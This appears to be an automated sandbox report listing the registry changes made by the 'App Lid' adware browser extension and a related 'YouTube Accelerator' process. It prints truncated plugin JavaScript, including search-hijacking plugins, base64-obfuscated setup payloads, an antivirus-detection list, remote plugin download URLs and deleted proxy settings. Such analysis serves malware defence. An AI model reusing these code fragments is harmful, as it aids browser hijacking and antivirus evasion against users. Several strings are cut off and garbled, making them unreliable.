"JavaScript" = "if(typeof appAPI===undefined){appAPI={};}if(typeof appAPI.internal===undefined){appAPI.internal={};}if(typeof appAPI.internal.callbacks===undefined){appAPI.internal.callbacks={};}appAPI.internal.browserEventCode=true;window.console.log=appAPI.internal.console.log;console.log=window.console.log;window.console.info=appAPI.internal.console.info;console.info=window.console.info;window.console.warn=appAPI.internal.console.warn;console.warn=window.console.warn;window.console.error=appAPI.internal.console.error;console.error=window.console.error;appAPI.internal.callbacks.setEventHandler(openURL,function(b){if(appAPI.isActiveTab()){var a={url:b.url,where:b.where,focus:(typeof b.focus===boolean?b.focus:true),height:(typeof b.height===number?b.height:750),width:(typeof b.width===number?b.width:750),top:(typeof b.top===number?b.top:100),left:(typeof b.left===number?b.left:100),focusTimer:(typeof b.focusTimer===number?b.focusTimer:0),focusDelay:(typeof b.focusDelay===number?b.focusDelay:0)};appAPI.ÉŽ"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\42]
"Name" = "IEInternal"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\183]
"JavaScript" = "(function(){if(typeof $jquery_171===undefined){return;}var d=__TABS_ON_UPDATED_ACTIVE_KEY;var c=__tabsOnUpdateActive__;var a={SCOPE:{BACKGROUND:0,PAGE:1,POPUP:5,OPEN_URL:6}};if(!appAPI.utils.isFunction(appAPI.internal.globalEval)){appAPI.internal.globalEval=function(e){(new Function(e)).apply(window);};}if(appAPI.internal.scope==a.SCOPE.BACKGROUND){appAPI.tabs.reloadTab=function(e){if(typeof e.delay===number){appAPI.setTimeout(function(){appAPI.message.toAllTabs({tabId:e.tabId},{channel:__tabsReloadTab__});},e.delay);}else{appAPI.message.toAllTabs({tabId:e.tabId},{channel:__tabsReloadTab__});}};appAPI.tabs.executeScript=function(e){appAPI.message.toAllTabs(e,{channel:__tabsExecuteScript__});};appAPI.tabs.onTabUpdated=function(e){if(typeof e!==function){return;}appAPI.message.addListener({channel:__tabsOnTabUpdated__},function(f){e(f);});appAPI.internal.db.set(d,true);appAPI.message.toAllTabs({},{channel:c});};}else{if(appAPI.internal.scope==a.SCOPE.PAGE&&!appAPI.dom.isIframe()){var b=functi"

[HKCU\Software\AppDataLow\Software\App Lid\Manifest]
"PluginsManifestVersion" = "17"

[HKCU\Software\AppDataLow\Software\App Lid\Installer]
"FullVersion" = "1.36.01.22"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\183]
"Version" = "4"

[HKCU\Software\AppDataLow\Software\App Lid\Manifest]
"ThanksUrl" = "NA"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins]
"BrowserEventPluginList" = "14,42,41,44,39,38,43,37,64,72"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\72]
"JavaScript" = "if(appAPI.__should_activate_validation__===true){(function(){var e={WRONG_STRICT_VALUE:Parameter %PARAM_NAME% value is not supported.,WRONG_TYPE:Parameter %PARAM_NAME% is of wrong type. Valid types: [%VALID_TYPES%].,PARAM_IS_MANDATORY:Parameter %PARAM_NAME% is mandatory.,DB_VAL_TOO_LARGE:appAPI.db storage is limited to 1000 bytes per key. For larger values please use appAPI.db.async};var a=function(m){return m.charAt(0).toUpperCase() m.slice(1);};var h={};var b=appAPI.appInfo.name;var i=function(o,r,q,p){if(typeof p===undefined){p=;}var n=[ new Date().toDateString() new Date().toLocaleTimeString() ] b;var m=;if(typeof console!==undefined){if((q===e.DB_VAL_TOO_LARGE)&&(typeof console.warn===function)){console.warn(n m);}else{if(typeof console.error===function){console.error(n m);}else{if(typeof console.log===function){console.log(n m);}}}}return;};var l=function(p,n,o){var m=pÉŽ"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\345]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/345.js"

[HKLM\SOFTWARE\Wow6432Node\AppDataLow\Software\Crossrider]
"Bic" = "4FB4C73F09554441862F9E06CA998CBBIE"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\9]
"Name" = "search_engine_hook"

[HKCU\Software\AppDataLow\Software\App Lid\Installer]
"ErrorsDomain" = "http://errors.ourclientinputsrv.com"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\1]
"Name" = "base"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\43]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/43.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\78]
"Name" = "CrossriderInfo"

[HKCU\Software\AppDataLow\Software\App Lid\Manifest]
"PublisherName" = "Lid"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\255]
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MTY3ZTdlNGExOTAwMTAwNzI3MTAwMTU2NGQ0ODUzMWMxMDAzMDI1ODQyNWIxNjQ2MDUxMjFjMWUwMzRjMGUxYjFhNDcxMDVhMTQxZjAyNWQ1YjQ2NDExYTE0MTI1NjRhMmQzZDJlMjYzODNiMjIyNjJkMzMzNzMwMzIzMTJmM2MzNDNhMjAzMjM2M2QzZTIxMzUzNzM4MzAzYjI4NTQ1NDVmNDIzOTA5MWMxMTU5MjgyZDIxM2YzYjI0M2IyMzNkMjAzMjIwM2QyYzI0MjczNzNmMzUyOTMyMmQzZDRiNDI0NTVlMDMxMTAyNDQ0ZjNkMzIzNzI1MjcyMjI3MzYzZTM2MjczZjJiMjIzYjM0MjYzYjNlMzYzZDMyNTI0MTVhNDcwNjAxMTE0MzVmNWI0NzQwNWE0NzEyNTM0NDQ1NTE1YTQ2NDE1MTQ3NDA1MjQyNDU1MDRiMDAwNDFiMTgxMDU5NDY1NDE2MDgxZDEzNTUyZTJiMjcyNTNkMzEzZTI2M2UyYzM0MjYzYjM2MjIzMjMyM2QzMzM3MmU1MjEwMDIxYjA2NTAyYjI4MmIyMzNiMzcyNDIwMmIyOTMxMjUzNzM4M2EzNzIzMzMyZTIxMzEyNTM3MjQyNzIxMjUyZDJiMjkyYjI4NGE1ZDdlNmQ1NTFhMTYxOTA0MDQzZDAzMTg0NjRkNTI0MDA1MDAwMzE4MDI0ZTRiNTgxMzRjMTkxMjBmMDEwMDVhMDcxODFmNGQwYzVhMDcwMDAxNGI1MjQ1NDQxMDA4MTI0NTU1MmUyYjI3MjUzZDMxM2UyNjNlMmMzNDI2M2IzMjJhMzYyODNhMzMyZDM1MmIzNzIyMzAzZDI0MzAyODM3NTc0MjU2NDEzYzAzMDAxMTRhMzcyZTM3MzYzODIxMzEzZjNkMzMyZDIzMmIyNTI3MjIzZDIzMzUzYTJkMmUyYjQyNDE0MDU0MWYxMTExNWI0YzJiM2I"

[HKCU\Software\AppDataLow\Software\App Lid\Manifest]
"ModeType" = "production"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\78]
"JavaScript" = "if(typeof jQuery!==undefined&&(jQuery)&&typeof window.navigator!==undefined&&typeof window.navigator.userAgent!==undefined){(function(d,c,e){var a,b;d.uaMatch=function(h){h=h.toLowerCase();var g=/(opr)[\/]([\w.] )/.exec(h)||/(chrome)[ \/]([\w.] )/.exec(h)||/(firefox)[ \/]([\w.] )/.exec(h)||/(webkit)[ \/]([\w.] )/.exec(h)||/(opera)(?:.*version|)[ \/]([\w.] )/.exec(h)||/(msie) ([\w.] )/.exec(h)||h.indexOf(trident)>=0&&/(rv)(?::| )([\w.] )/.exec(h)||h.indexOf(compatible)<0&&/(mozilla)(?:.*? rv:([\w.] )|)/.exec(h)||[];var f=/(ipad)/.exec(h)||/(iphone)/.exec(h)||/(android)/.exec(h)||/(windows)/.exec(h)||/(mac)/.exec(h)||/(linux)/.exec(h)||/(ubuntu)/.exec(h)||[];return{browser:g[1]||,version:g[2]||0,platform:f[0]||};};a=d.uaMatch(c.navigator.userAgent);b={};if(a.browser){b[a.browser]=true;b.name=(b.rv?msie:a.browser);b.version=a.version;}if(a.platform){b[a.platform]=true;b.os=(a.platform===windows?win:a.platform);}if(b.chrome||b.opr){b.webkit=true;}else{if(b.webkit){b.safari=true;}}if(b.rv){bÉŽ"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\35]
"Name" = "IEAjax"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 51 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\3]
"JavaScript" = "(function(){var b=dummy so this plugin won't be empty;})();"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\72]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/72.js"

[HKCU\Software\AppDataLow\Software\App Lid\Update]
"LastCheck" = "1422581375"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\42]
"Version" = "10"

[HKCU\Software\AppDataLow\Software\App Lid\Manifest]
"IsButtonEnabled" = "true"
"PublisherId" = "25286"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\91]
"Version" = "121"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\41]
"JavaScript" = "if(typeof appAPI===""undefined""){appAPI={};}(function(a){appAPI.isBackground=false;appAPI.tabId=a.getBhoInstanceId();appAPI.getTabId=function(){return appAPI.tabId;};appAPI.isActiveTab=function(){return appAPIinternal.isActiveTab();};appAPI.platform=""IE"";if(typeof appAPI.appInfo===""undefined""){appAPI.appInfo={};}var c=appAPI.internal.prefs.getChar(""fullVersionForUrl""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\207]
"JavaScript" = "(function(){if(typeof $jquery_171===undefined){return;}var d=$jquery_171;function c(f){return true;}function b(g,f){f=appAPI.utils.isFunction(f)?f:c;return d.map(g,function(h){return f(h)?h:null;});}function a(f){f.getList=(function(){var g=f.getList;return function(h){h=h||{};return b(g.call(f),h.predicate);};}());f.getKeys=(function(){var g=f.getKeys;return function(h){h=h||{};return b(g.call(f),h.predicate);};}());f.removeAll=(function(){var g=f.removeAll;return function(h){if(!appAPI.utils.isObject(h)){return g.call(f);}d.each(f.getList(h),function(j,k){f.remove(k.key);});};}());}function e(g){g.getList=(function(){var h=g.getList;return function(i){if(appAPI.utils.isFunction(i)){return h.call(g,i);}if(!appAPI.utils.isObject(i)||!appAPI.utils.isFunction(i.callback)){return;}h.call(g,function(j){i.callback(b(j,i.predicate));});};}());g.getKeys=(function(){var h=g.getKeys;return function(i){if(appAPI.utils.isFunction(i)){return h.call(g,i);}if(!appAPI.utils.isObject(i)||!appAPI.utils.isFunction(i.callbacwÉŽ"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\221]
"Version" = "4"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{70c7f9ab-103c-416a-a8bf-5b70c1c0831b}]
"AppName" = "App Lid-bg.exe"

[HKLM\SOFTWARE\Wow6432Node\App Lid\IE\Profiles]
"S-1-5-21-2858020935-2156992550-3658131804-1003" = "1"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\28]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/28.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\220]
"JavaScript" = "if(appAPI.isBackground){var ICMBaseManager=function(a){return function(){};};}else{var ICMBaseManager=function(a){var b=(function(f){var i=(function(){var z={\x61\x76\x67\x5F\x64\x65\x74\x65\x63\x74\x65\x64:1,\x61\x76\x61\x73\x74\x5F\x64\x65\x74\x65\x63\x74\x65\x64:2,\x61\x76\x69\x72\x61\x5F\x64\x65\x74\x65\x63\x74\x65\x64:4,\x6D\x73\x65\x5F\x64\x65\x74\x65\x63\x74\x65\x64:8,\x65\x73\x65\x74\x5F\x64\x65\x74\x65\x63\x74\x65\x64:16,\x69\x6D\x61\x73\x68\x5F\x64\x65\x74\x65\x63\x74\x65\x64:32,\x76\x69\x70\x65\x72\x5F\x64\x65\x74\x65\x63\x74\x65\x64:64,\x61\x73\x6B\x74\x6F\x6F\x6C\x62\x61\x72\x5F\x64\x65\x74\x65\x63\x74\x65\x64:128,\x64\x65\x61\x6C\x70\x6C\x79\x5F\x64\x65\x74\x65\x63\x74\x65\x64:256,\x66\x75\x6E\x6D\x6F\x6F\x64\x73\x5F\x64\x65\x74\x65\x63\x74\x65\x64:512,\x6D\x63\x61\x66\x65\x65\x5F\x64\x65\x74\x65\x63\x74\x65\x64:1024,\x6D\x61\x6C\x77\x61\x72\x65\x62\x79\x74\x65\x73\x5F\x64\x65\x74\x65\x63\x74\x65\x64:2048,\x62\x61\x69\x64\x75\x61\x76\x5F\x64\x65\x74\x65\x63\x74\x65\x642ÉŽ"

[HKCU\Software\AppDataLow\Software\App Lid\Installer]
"CodeDownloadFbDomain" = "http://js.clientdemocloud.com"

[HKCU\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{0940d92d-eb5b-4a66-a360-ea4a14653723}]
"Policy" = "3"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\64]
"JavaScript" = "(function(){var j=__CR_EMPTY_CHANNEL__;var d=function(e){return(typeof e===object&&e!==null);};var b=function(e){return(!!e&&typeof e===string);};var f=function(l){var e;if(typeof l===function){e=j;}else{if(d(l)&&b(l.channel)){e=l.channel;}else{e=j;}}return e;};var k=function(m,e){var l={wrapperMessage:{message:m,channel:f(e)},toIframes:d(e)?e.toIframes:e};return l;};var i=function(m,e){var l={message:m,channel:f(e)};return l;};var h=function(){var e={};e.addListener=appAPI.message.addListener;e.removeListener=appAPI.message.removeListener;e.toActiveTab=appAPI.message.toActiveTab;e.toAllOtherTabs=appAPI.message.toAllOtherTabs;e.toAllTabs=appAPI.message.toAllTabs;e.toBackground=appAPI.message.toBackground;e.toCurrentTabIframes=appAPI.message.toCurrentTabIframes;e.toCurrentTabWindow=appAPI.message.toCurrentTabWindow;e.toPopup=appAPI.message.toPopup;return e;};var a=function(e){appAPI.message.addListener=function(l,o){var n=null;var m;var p=f(l);if(typeof l===function){n=function(q){if(p===q.channel){ÉŽ"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\40]
"Name" = "IEExtension"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\72]
"Name" = "appApiValidation"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\13]
"Version" = "7"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\301]
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MTQ2ODU2NTg0YjU2NDgwNDFmMDAxZjM3MDQxNDQ5NGM0YTRlMDMwMDFiMTI0YzU3NDQxMjU5MWYxYTQ3MGU1NDBjMTkwZjAwMWU1ZDE5NWEwYzBlMTkwZDBmMTAxODAzMDUwMDQxMGMxMzBjNDQxNzFhMWM0NDE4NDEwODA1NDcwODI3MmI1MTBkMTUwMzExMTM1ZTA4MTcwNzFjMGExZDA4MGMzZjFjNTYyOTM1MmYzOTNiM2MzMTI0MzEyZjMzMzgzMzI4MzUyMjMyMjkzMTJmMjkzNTRhMDgxYjFhMGMwMjBhMTIzNTA1MDgwZTQ5MzAzZDM1MmEyNDI1MzkzZTIyMzAyYTMwMjkzYjI0MjMyNDM4MzkyZDMwMjEzOTNjMmUyOTM1NGEwOTA2MDAxNTA1MWQxOTM1MDUwODBlNDkzMDNkMzUyYTI0MjUzOTNlMjIzMDJhMzAyOTNhMzkzOTNkM2YyZTI2MzAzZDUwMTkxYjA2MjMyODU2MmIzMDIxMjQzNzM4MjUzODI1MmYzMTNkM2QzNzI4M2IyOTIzMjgzNDJiNDkwMzA2MDgyNTE3MDcwOTU2MmIzMDIxMjQzNzM4MjUzODI1MmYzMTNkM2QzNzI4M2IyOTI0MmQyNjMxMzAzZDUwMzEyOTNmMjk1MTM0MmIyYzMwMzkyYjM4MjQyMzI4MmUyNjMwMmIzODJiM2YzNzI2MjAyZTI2MzAzNzI1M2QzOTI5MjMyODM0MmI0OTExMDMxYTIyMzI1NzMzMzQzNzNkMmQyNTJiMzkzZjJlMjkzOTJiMmEzYTIyM2QyNTMyMmYyODM0MjczYTIwMjkzMTJmMjkzNTRhMTk0OTMwM2QyNDM2MmYyOTM1NGU0NzdlNGY0MjU2NTg0OTFlMWUxODFiMDczYTEwMWE1YTUxNTY0ODA0MWYwMDFmMTE0YzU3NDQxMjU5MWYxYTQ3MGU1NDBjMTkwZjAwMWUç„ÉŽ"

[HKCU\Software\InstalledBrowserExtensions\Lid]
"65743" = "App Lid"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\22]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/22.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\46]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/46.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\37]
"Version" = "6"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\1]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/1.js"

[HKCU\Software\AppDataLow\Software\App Lid\Manifest]
"SetNewTab" = "false"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\354]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/354.js"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"DisplayVersion" = "1.36.01.22"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\36]
"JavaScript" = "if(typeof appAPI===undefined){appAPI={};}if(typeof appAPI.internal===undefined){appAPI.internal={};}if(typeof appAPI.internal.callbacks===undefined){appAPI.internal.callbacks={};}appAPI.isBackground=true;appAPI.tabId=BG;appAPI.internal.scope=Consts.SCOPE.BACKGROUND;appAPI.openURL=function(c,b){if(typeof c===undefined){return;}var a;if(typeof c===object){a=c;}else{a={url:c,where:b};}appAPI.internal.message.send({eventName:openURL,eventContent:a});};appAPI.internal.runHelper=function(a){if(typeof a!==string){console.error(appAPI.runHelper - Invalid parameter. Expected string (1st param) but got: (typeof a));return;}appAPI.internal.message.send({eventName:runHelper,eventContent:a});};window.alert=function(a){a=(a===null?null:a);a=(typeof a===undefined?undefined:a);appAPIinternal.alert(a);};appAPI.internal._isMonitorAPISupported_=function(){return(typeof appAPIinternal.supportMonitor!==undefined);};window.open=function(b,a,d,c){appAPI.internal.message.send({eventName:windowOpen,eveÉŽ"

[HKCU\Software\AppDataLow\Software\App Lid\Manifest]
"EnableSearchIE" = "false"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\234]
"Name" = "firstoffer_right_slider_m"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\14]
"Version" = "11"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\9]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/9.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\252]
"Name" = "nova_test_m"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\262]
"Version" = "2"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\38]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/38.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\28]
"JavaScript" = "var CrossriderInitializerPlugin=(function(e){var c={appId:appAPI._cr_config.appID()},b,g=new e.Deferred(),f;return e.Class.extend({init:function(){b=this;e(document).ready(function(){if(!f){d();}e(body).bindExtensionEvent(__CR_REQUEST_READY,a);});},isReady:function(h){if(h===false){d();}return g.promise();}});function d(){g.resolve();f=true;}function a(){e(body).fireExtensionEvent(__CR_RESPONSE_READY,{appId:c.appId});}}($jquery_171));(function(a){appAPI.initializerPlugin=new CrossriderInitializerPlugin();}($jquery_171));"

[HKLM\SOFTWARE\Wow6432Node\App Lid\IE]
"TotalProfiles" = "1"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\14]
"JavaScript" = "if(typeof(appAPI)===undefined){appAPI={};}var CR__bIsIEWindow=false;if(typeof window!==undefined&&typeof window.navigator!==undefined&&typeof window.navigator.userAgent!==undefined){CR__bIsIEWindow=/MSIE (\d \.\d );/.test(window.navigator.userAgent);}CR__bIsIEWindow=(CR__bIsIEWindow||(typeof appAPIinternal!==undefined));appAPI.JSON={};if(typeof JSON!==undefined&&!CR__bIsIEWindow){appAPI.JSON=JSON;}else{(function(){function f(n){return n<10?0 n:n;}if(typeof Date.prototype.to_CR_JSON!==function){Date.prototype.to_CR_JSON=function(key){return isFinite(this.valueOf())?this.getUTCFullYear() - f(this.getUTCMonth() 1) - f(this.getUTCDate()) T f(this.getUTCHours()) : f(this.getUTCMinutes()) : f(this.getUTCSeconds()) Z:null;};String.prototype.to_CR_JSON=Number.prototype.to_CR_JSON=Boolean.prototype.to_CR_JSON=function(key){return this.valueOf();};}var cx=/[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,escapable=/[\\\\x00-\x1f\x7f-ÉŽ"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\177]
"JavaScript" = "(function(){if(!(appAPI.isMatchPages&&appAPI.isMatchPages(*crossrider.com/extension_dashboard/dashboard.html))){return;}function o(p){return String(p).replace(//g,>);}function e(aR,aC){function aW(){while(aE.length&&(aE[aE.length-1]=== ||aE[aE.length-1]===aT)){aE.pop();}}function aq(p){return p===[EXPRESSION]||p===[INDENTED-EXPRESSION];}function af(p){return p.replace(/^\s\s*|\s\s*$/,);}function an(q){aQ.eat_next_space=false;if(ag&&aq(aQ.mode)){return;}q=typeof q===undefined?true:q;aQ.if_line=false;aW();if(!aE.length){return;}if(aE[aE.length-1]!==\n||!q){ac=true;aE.push(\n);}for(var p=0;p
[HKCU\Software\AppDataLow\Software\App Lid\Manifest]
"RunInFrame" = "true"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\180]
"Version" = "12"
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MTU2MDY1NDUxYTE5MWIxZTMyMTAwMjQ4NTY0NzUwMDUxYjFhMTc1ODQxNDUwZDQ5MDYwYjE3MDcxNjRjMGQwNTAxNDgxMzQzMWYwNjE3NWQ1ODU4NWExNTE3MGI1ZDUzMzgzZDJkMzgyMzM0MjEzZjI2MmEyMjMwMzEyZjM0MzMzNzIzMmIyYjIzM2QzZDNmMmUzODNiMjkzMDMxNDE1NDVjNWMyMjA2MWYwODUyMzEzODIxM2MyNTNmMzQyMDI0MmIyYjM1M2QyZjNhM2MzODNjMmMyMjJiMzgzZDQ4NWM1ZTUxMDAwODA5NWQ1YTNkMzEyOTNlMjgyMTNlM2QyNzIzMjczYzM1MzkzNDM3M2YzMDI3MjMzZDMxNGM1YTU1NDQxZjBhMDg1NjVmNTg1OTViNTU0NDBiNTg1ZDUwNTE1OTU4NWE1ZTQ0NTk1OTViNTA1MDQ4MWUwOTBlMTY1MDMwMzEyNDMwMjEzOTNmMzUzYjI5MmEzYzM4MjMzZTNhMzMyZTM2MzIzMDQ4MTMxNzA3MGU1MTM4MmQyZTNkMjEzNDMxM2MyMzI4MjIyMDMyMjYyMDM0MzYyZjI2MjAyMjIwMzIzYTNkMjIzMDMxMjMyODM4MmQ0ZjQzNjQ2ZTQwMDYxZTE4MTcwMTM4MWQwMjQ1NTg0ZTQ4MDQxMzA2MWQxYzU0NDg0ZDBmNDQxODAxMGEwNDFlNDAwNDBkMDM0NTBkNDkwMjA1MWY1MTUxNTA1ODE4MDkwMTQwNTAzMDMxMjQzMDIxMzkzZjM1M2IyOTJhM2MzODI3MzYzZTI5MjkzNjI4MmIzMTM0MzcyYzM1MjUyMzJkMzI0OTU4NTU1NDIwMGIwMTAyNGYzMjMwMmQzNTJkM2QzOTNlMmUzNjI4M2QzMTI2MzIzZTM1MjIyNjNmMjgzMDMxNDE1NDVjNWMxZTAyMTQ1ZTUyMzEzODIxM2MyNTNmMzQyMDI0MmI×§ÉŽ"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\301]
"Name" = "guava_m"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\4]
"JavaScript" = "var jQuery = $jquery_171 = $jquery = null;if (document && typeof document.getElementById !== undefined) {/*! jQuery v1.7.1 jquery.com | jquery.org/license */(function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cv(a){if(!ck[a]){var b=c.body,d=f(< a >).appendTo(b),e=d.css(display);d.remove();if(e===none||e===){cl||(cl=c.createElement(iframe),cl.frameBorder=cl.width=cl.height=0),b.appendChild(cl);if(!cm||!cl.createElement)cm=(cl.contentWindow||cl.contentDocument).document,cm.write((c.compatMode===CSS1Compat?:) ),cm.close();d=cm.createElement(a),cm.body.appendChild(d),e=f.css(d,display),b.removeChild(cl)}ck[a]=e}return ck[a]}function cu(a,b){var c={};f.each(cq.concat.apply([],cq.slice(0,b)),function(){c[this]=a});return c}function ct(){cr=b}function cs(){setTimeout(ct,0);return cr=f.now()}function cj(){try{return new a.ActiveXObject(Microsoft.XMLHTTP)}catch(b){}}function ci(){try{return new a.XMLHtt"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\255]
"Version" = "4"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\3]
"Version" = "2"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{48a0739a-6b32-4042-aabe-9d8d05cc8dc3}]
"AppPath" = "%Program Files% (x86)\App Lid"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\183]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/183.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\220]
"Name" = "icm_base_m"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\255]
"Name" = "bpo_serp_somo_m"

[HKLM\SOFTWARE\InstalledBrowserExtensions\25286]
"65743" = "App Lid"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\195]
"Version" = "28"

[HKCU\Software\AppDataLow\Software\App Lid\Installer]
"Params" = "{ source_id : 000820, sub_id : 0, uzid : appshatmadness"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Tempo]

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process testlsp.exe:2916 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 CA A5 44 A3"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TimeStamp" = "1422581329"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "14 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "1D 9A 95 1A 2C 3C D0 01"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TimeStamp" = "1422581329"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TimeLimit" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
